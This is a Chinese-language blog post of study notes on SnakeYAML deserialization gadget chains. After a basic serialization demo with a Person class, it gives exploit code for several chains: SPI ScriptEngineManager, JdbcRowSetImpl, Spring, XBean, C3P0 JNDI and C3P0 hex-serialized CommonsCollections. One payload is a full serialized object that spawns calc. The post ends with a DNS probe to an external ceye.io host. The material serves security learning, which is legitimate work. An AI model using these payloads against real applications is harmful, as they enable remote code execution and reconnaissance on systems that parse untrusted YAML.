snakeyaml链子学习总结
1 | <dependency> |
基础
示例Person1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54public class Person {
private String name;
private Integer age;
public String school;
protected String province;
public String getSchool() {
System.out.println("getSchool 方法被调用");
return school;
}
public void setSchool(String school) {
System.out.println("setSchool 方法被调用");
this.school = school;
}
public String getProvince() {
System.out.println("getProvince 方法被调用");
return province;
}
public void setProvince(String province) {
System.out.println("setProvince 方法被调用");
this.province = province;
}
public Person(){
System.out.println("无参构造函数被调用");
}
public void printInfo(){
System.out.println("name is " + this.name + "age is" + this.age);
}
public String getName() {
System.out.println("getName 方法被调用");
return name;
}
public void setName(String name) {
System.out.println("setName 方法被调用");
this.name = name;
}
public Integer getAge() {
System.out.println("getAge 方法被调用");
return age;
}
public void setAge(Integer age) {
System.out.println("setAge 方法被调用");
this.age = age;
}
}
test1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30import org.yaml.snakeyaml.Yaml;
public class test_per {
public static void unserialize(){
String str1 = "!!Person {age: 10, name: jmx, province: sichuan, school: cuit}";
String str2 = "age: 20\n" +
"name: Drunkbaby";
Yaml yaml = new Yaml();
Person test=yaml.load(str1);
System.out.println(test.school);
//yaml.loadAs(str2, Person.class);
}
public static void serialize(){
Person person=new Person();
person.setName("jmx");
person.setAge(20);
person.setSchool("cuit");
person.setProvince("sichuan");
Yaml yaml=new Yaml();
String str=yaml.dump(person);
System.out.println(str);
}
public static void main(String[] args) {
serialize();
//unserialize();
}
}
结论:
- 序列化格式:
1
!!Person {age: 20, name: jmx, province: sichuan, school: cuit}
- 序列化的时候会调用对应变量的get方法,这里发现个问题,不能调用public变量的get方法(它能直接读取)
- 反序列化会调用对应类的构造方法和对应变量的set方法,不能调用public变量的set方法(它能直接赋值)
利用 SPI 机制 - 基于 ScriptEngineManager 利用链
1 | public class SPInScriptEngineManager { |
yaml-payload.jar的GitHub地址: https://github.com/artsploit/yaml-payload
编译打包:1
2javac src/artsploit/AwesomeScriptEngineFactory.java
jar -cvf yaml-payload.jar -C src/ .
SPI机制:
SPI ,全称为 Service Provider Interface,是一种服务发现机制。它通过在 ClassPath 路径下的 META-INF/services
文件夹查找文件,自动加载文件里所定义的类。也就是动态为某个接口寻找服务实现
我们观察工具的文件就能发现:
exp的 [!!
是作为 javax.script.ScriptEngineManager
的属性的,就等于我调用了 javax.script.ScriptEngineManager
这个类,传参是javax.script.ScriptEngineManager
JdbcRowSetImpl链
1 | import org.yaml.snakeyaml.Yaml; |
注意高版本jdk的jndi限制,这里用的jdk1.8.0_111
Spring PropertyPathFactoryBean
需要spring环境
1 | import org.yaml.snakeyaml.Yaml; |
入口是PropertyPathFactoryBean的setBeanFactory()方法:
this.beanFactory
是传入的org.springframework.jndi.support.SimpleJndiBeanFactory
,调用它的getBean()方法
这里有个isSingleton
函数检查:
需要也传个shareableResources
进入lookup,完成JNDI
Apache XBean
1 | <dependency> |
1 | import org.yaml.snakeyaml.Yaml; |
这个exp很有东西,看了Drun1baby师傅的博客学到很多BadAttributeValueExpException
的构造方法可以接收一个对象并调用它的toString()方法
这个val是我们传入的org.apache.xbean.naming.context.ContextUtil$ReadOnlyBinding
它没有toString()方法,它的父类Binding有
调用getObject()方法,回到ReadOnlyBinding
的getObject()方法
进入resolve()方法
发现jndi注入点
C3P0 JndiRefForwardingDataSource
c3p0的jndi的sink点直接构造1
2
3
4
5
6
7
8
9
10
11import org.yaml.snakeyaml.Yaml;
public class test1 {
public static void main(String[] args) {
String payload = "!!com.mchange.v2.c3p0.JndiRefForwardingDataSource\n" +
" jndiName: \"ldap://localhost:1389/Basic/Command/calc\"\n" +
" loginTimeout: 0";
Yaml yaml = new Yaml();
yaml.load(payload);
}
}
C3P0 WrapperConnectionPoolDataSource
c3p0的hex反序列化sink点1
2
3
4
5
6
7
8
9
10import org.yaml.snakeyaml.Yaml;
public class test1 {
public static void main(String[] args) {
String payload = "!!com.mchange.v2.c3p0.WrapperConnectionPoolDataSource\n" +
" userOverridesAsString: \"HexAsciiSerializedMap:ACED0005737200116A6176612E7574696C2E486173684D61700507DAC1C31660D103000246000A6C6F6164466163746F724900097468726573686F6C6478703F4000000000000C77080000001000000001737200346F72672E6170616368652E636F6D6D6F6E732E636F6C6C656374696F6E732E6B657976616C75652E546965644D6170456E7472798AADD29B39C11FDB0200024C00036B65797400124C6A6176612F6C616E672F4F626A6563743B4C00036D617074000F4C6A6176612F7574696C2F4D61703B787074000441746B787372002A6F72672E6170616368652E636F6D6D6F6E732E636F6C6C656374696F6E732E6D61702E4C617A794D61706EE594829E7910940300014C0007666163746F727974002C4C6F72672F6170616368652F636F6D6D6F6E732F636F6C6C656374696F6E732F5472616E73666F726D65723B78707372003A6F72672E6170616368652E636F6D6D6F6E732E636F6C6C656374696F6E732E66756E63746F72732E436861696E65645472616E73666F726D657230C797EC287A97040200015B000D695472616E73666F726D65727374002D5B4C6F72672F6170616368652F636F6D6D6F6E732F636F6C6C656374696F6E732F5472616E73666F726D65723B78707572002D5B4C6F72672E6170616368652E636F6D6D6F6E732E636F6C6C656374696F6E732E5472616E73666F726D65723BBD562AF1D83418990200007870000000047372003B6F72672E6170616368652E636F6D6D6F6E732E636F6C6C656374696F6E732E66756E63746F72732E436F6E7374616E745472616E73666F726D6572587690114102B1940200014C000969436F6E7374616E7471007E00037870767200116A6176612E6C616E672E52756E74696D65000000000000000000000078707372003A6F72672E6170616368652E636F6D6D6F6E732E636F6C6C656374696F6E732E66756E63746F72732E496E766F6B65725472616E73666F726D657287E8FF6B7B7CCE380200035B000569417267737400135B4C6A6176612F6C616E672F4F626A6563743B4C000B694D6574686F644E616D657400124C6A6176612F6C616E672F537472696E673B5B000B69506172616D54797065737400125B4C6A6176612F6C616E672F436C6173733B7870757200135B4C6A6176612E6C616E672E4F626A6563743B90CE589F1073296C02000078700000000274000A67657452756E74696D65707400096765744D6574686F64757200125B4C6A6176612E6C616E672E436C6173733BAB16D7AECBCD5A99020000787000000002767200106A6176612E6C616E672E537472696E67A0F0A4387A3BB34202000078707671007E001C7371007E00137571007E0018000000027070740006696E766F6B657571007E001C00000002767200106A6176612E6C616E672E4F626A656374000000000000000000000078707671007E00187371007E00137571007E00180000000174000463616C63740004657865637571007E001C0000000171007E001F7371007E00003F4000000000000C77080000001000000000787874000362626278;\"";
Yaml yaml = new Yaml();
yaml.load(payload);
}
}
Apache Commons Configuration
1 | import org.yaml.snakeyaml.Yaml; |
sink点在JNDIConfiguration.getKeys()方法里
探测
根据urldns链可以知道URL类的hashCode()方法会进入URLStreamHandler.hashcode()->URLStreamHandler.getHostAddress->InetAddress.getByname(host)
完成dns探测
HashMap的键值存储是{key1: value1,key2,value2}
格式的,我们直接传入map:
1 | import org.yaml.snakeyaml.Yaml; |
也可以这样构造map:1
String poc = "{!!java.util.Map {}: 0,!!java.net.URL [\"http://tcbua9.ceye.io/\"]: 1}";